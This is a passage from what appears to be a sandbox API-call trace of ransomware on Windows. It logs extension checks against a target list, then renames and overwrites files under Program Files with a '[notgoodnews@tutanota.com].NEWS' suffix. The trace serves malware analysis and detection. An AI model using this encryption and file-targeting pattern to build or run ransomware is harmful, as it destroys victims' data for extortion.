Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.698] lstrlenW (lpString=".zip") returned 4 [0053.698] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.698] lstrlenW (lpString=".rar") returned 4 [0053.698] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.698] lstrlenW (lpString=".bz2") returned 4 [0053.698] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.698] lstrlenW (lpString=".7z") returned 3 [0053.698] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.698] lstrlenW (lpString=".dbf") returned 4 [0053.698] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.699] lstrlenW (lpString=".1cd") returned 4 [0053.699] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.699] lstrlenW (lpString=".jpg") returned 4 [0053.699] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.699] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0053.699] lstrlenW (lpString="ipskor.xml") returned 10 [0053.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0053.701] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2568) returned 1 [0053.701] CloseHandle (hObject=0x1c0) returned 1 [0053.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0053.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0053.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.701] lstrlenW (lpString=".doc") returned 4 [0053.701] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.701] lstrlenW (lpString=".docx") returned 5 [0053.701] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0053.701] lstrlenW (lpString=".pdf") returned 4 [0053.701] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.701] lstrlenW (lpString=".xls") returned 4 [0053.702] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.702] lstrlenW (lpString=".xlsx") returned 5 [0053.702] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0053.702] lstrlenW (lpString=".ppt") returned 4 [0053.702] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.702] lstrlenW (lpString=".zip") returned 4 [0053.702] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.702] lstrlenW (lpString=".rar") returned 4 [0053.702] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.702] lstrlenW (lpString=".bz2") returned 4 [0053.702] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.702] lstrlenW (lpString=".7z") returned 3 [0053.702] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.702] lstrlenW (lpString=".dbf") returned 4 [0053.702] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.702] lstrlenW (lpString=".1cd") returned 4 [0053.702] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.703] lstrlenW (lpString=".jpg") returned 4 [0053.703] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.703] lstrlenW (lpString=".doc") returned 4 [0053.703] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.703] lstrlenW (lpString=".docx") returned 5 [0053.703] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0053.703] lstrlenW (lpString=".pdf") returned 4 [0053.703] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.703] lstrlenW (lpString=".xls") returned 4 [0053.703] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.703] lstrlenW (lpString=".xlsx") returned 5 [0053.703] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0053.703] lstrlenW (lpString=".ppt") returned 4 [0053.703] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.703] lstrlenW (lpString=".zip") returned 4 [0053.703] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.704] lstrlenW (lpString=".rar") returned 4 [0053.704] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.704] lstrlenW (lpString=".bz2") returned 4 [0053.704] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.704] lstrlenW (lpString=".7z") returned 3 [0053.704] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.704] lstrlenW (lpString=".dbf") returned 4 [0053.704] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.704] lstrlenW (lpString=".1cd") returned 4 [0053.704] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0053.704] lstrlenW (lpString=".jpg") returned 4 [0053.704] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.704] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0053.704] lstrlenW (lpString="ipsnld.xml") returned 10 [0053.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0053.705] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2626) returned 1 [0053.705] CloseHandle (hObject=0x1c0) returned 1 [0053.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0053.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0053.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.706] lstrlenW (lpString=".doc") returned 4 [0053.706] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.706] lstrlenW (lpString=".docx") returned 5 [0053.706] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0053.706] lstrlenW (lpString=".pdf") returned 4 [0053.706] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.706] lstrlenW (lpString=".xls") returned 4 [0053.706] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.706] lstrlenW (lpString=".xlsx") returned 5 [0053.706] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0053.706] lstrlenW (lpString=".ppt") returned 4 [0053.706] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.706] lstrlenW (lpString=".zip") returned 4 [0053.706] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.706] lstrlenW (lpString=".rar") returned 4 [0053.706] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.706] lstrlenW (lpString=".bz2") returned 4 [0053.706] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.706] lstrlenW (lpString=".7z") returned 3 [0053.706] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.707] lstrlenW (lpString=".dbf") returned 4 [0053.707] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.707] lstrlenW (lpString=".1cd") returned 4 [0053.707] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.707] lstrlenW (lpString=".jpg") returned 4 [0053.707] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.707] lstrlenW (lpString=".doc") returned 4 [0053.707] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.707] lstrlenW (lpString=".docx") returned 5 [0053.707] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0053.707] lstrlenW (lpString=".pdf") returned 4 [0053.707] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.707] lstrlenW (lpString=".xls") returned 4 [0053.707] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.708] lstrlenW (lpString=".xlsx") returned 5 [0053.708] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0053.708] lstrlenW (lpString=".ppt") returned 4 [0053.708] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.708] lstrlenW (lpString=".zip") returned 4 [0053.708] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.708] lstrlenW (lpString=".rar") returned 4 [0053.708] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.708] lstrlenW (lpString=".bz2") returned 4 [0053.708] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.708] lstrlenW (lpString=".7z") returned 3 [0053.708] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.708] lstrlenW (lpString=".dbf") returned 4 [0053.708] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.708] lstrlenW (lpString=".1cd") returned 4 [0053.708] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0053.708] lstrlenW (lpString=".jpg") returned 4 [0053.709] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.709] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0053.709] lstrlenW (lpString="ipsnor.xml") returned 10 [0053.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0053.710] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2580) returned 1 [0053.710] CloseHandle (hObject=0x1c0) returned 1 [0053.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0053.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0053.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0053.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0053.710] lstrlenW (lpString=".doc") returned 4 [0053.710] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.710] lstrlenW (lpString=".docx") returned 5 [0053.710] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0053.710] lstrlenW (lpString=".pdf") returned 4 [0053.710] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.711] lstrlenW (lpString=".xls") returned 4 [0053.711] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.711] lstrlenW (lpString=".xlsx") returned 5 [0053.711] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0053.711] lstrlenW (lpString=".ppt") returned 4 [0053.711] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0053.711] lstrlenW (lpString=".zip") returned 4 [0053.711] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.711] lstrlenW (lpString=".rar") returned 4 [0053.711] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.711] lstrlenW (lpString=".bz2") returned 4 [0053.711] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.711] lstrlenW (lpString=".7z") returned 3 [0053.711] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0053.711] lstrlenW (lpString=".dbf") returned 4 [0053.711] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0054.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0054.314] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fc6c | out: lpNewFilePointer=0x0) returned 1 [0054.314] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.314] ReadFile (in: hFile=0x1cc, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2c5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.322] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.322] ReadFile (in: hFile=0x1cc, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c5fc38, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2c5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.333] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.333] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.333] ReadFile (in: hFile=0x1cc, lpBuffer=0x3400058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3400058*, lpNumberOfBytesRead=0x2c5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.352] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.352] WriteFile (in: hFile=0x1cc, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2c5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0054.721] SetEndOfFile (hFile=0x1cc) returned 1 [0054.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3fa5880 [0054.899] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.899] WriteFile (in: hFile=0x1cc, lpBuffer=0x3fa5880*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa5880*, lpNumberOfBytesWritten=0x2c5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.903] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.903] WriteFile (in: hFile=0x1cc, lpBuffer=0x3fa5880*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa5880*, lpNumberOfBytesWritten=0x2c5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.908] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.908] WriteFile (in: hFile=0x1cc, lpBuffer=0x3fa5880*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa5880*, lpNumberOfBytesWritten=0x2c5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fa5880 | out: hHeap=0x5c0000) returned 1 [0054.920] CloseHandle (hObject=0x1cc) returned 1 [0055.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0055.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.564] lstrlenW (lpString=".doc") returned 4 [0055.564] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0055.564] lstrlenW (lpString=".docx") returned 5 [0055.564] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0055.564] lstrlenW (lpString=".pdf") returned 4 [0055.564] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0055.564] lstrlenW (lpString=".xls") returned 4 [0055.564] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0055.564] lstrlenW (lpString=".xlsx") returned 5 [0055.564] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0055.564] lstrlenW (lpString=".ppt") returned 4 [0055.564] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0055.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.565] lstrlenW (lpString=".zip") returned 4 [0055.565] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0055.565] lstrlenW (lpString=".rar") returned 4 [0055.565] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0055.565] lstrlenW (lpString=".bz2") returned 4 [0055.565] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0055.565] lstrlenW (lpString=".7z") returned 3 [0055.565] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0055.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.565] lstrlenW (lpString=".dbf") returned 4 [0055.565] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0055.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.565] lstrlenW (lpString=".1cd") returned 4 [0055.565] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0055.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.565] lstrlenW (lpString=".jpg") returned 4 [0055.565] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0055.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.565] lstrlenW (lpString=".doc") returned 4 [0055.565] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0055.566] lstrlenW (lpString=".docx") returned 5 [0055.944] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0055.945] lstrlenW (lpString=".pdf") returned 4 [0055.945] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0055.945] lstrlenW (lpString=".xls") returned 4 [0055.945] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0055.945] lstrlenW (lpString=".xlsx") returned 5 [0055.945] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0055.945] lstrlenW (lpString=".ppt") returned 4 [0055.945] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.945] lstrlenW (lpString=".zip") returned 4 [0055.945] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0055.945] lstrlenW (lpString=".rar") returned 4 [0055.945] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0055.945] lstrlenW (lpString=".bz2") returned 4 [0055.945] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0055.945] lstrlenW (lpString=".7z") returned 3 [0055.945] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.945] lstrlenW (lpString=".dbf") returned 4 [0055.945] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0055.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.946] lstrlenW (lpString=".1cd") returned 4 [0055.946] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0055.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0055.946] lstrlenW (lpString=".jpg") returned 4 [0055.946] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0055.946] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0055.946] lstrlenW (lpString="BRANDING.XML") returned 12 [0055.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0056.302] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=596341) returned 1 [0056.302] CloseHandle (hObject=0x1cc) returned 1 [0056.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0056.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 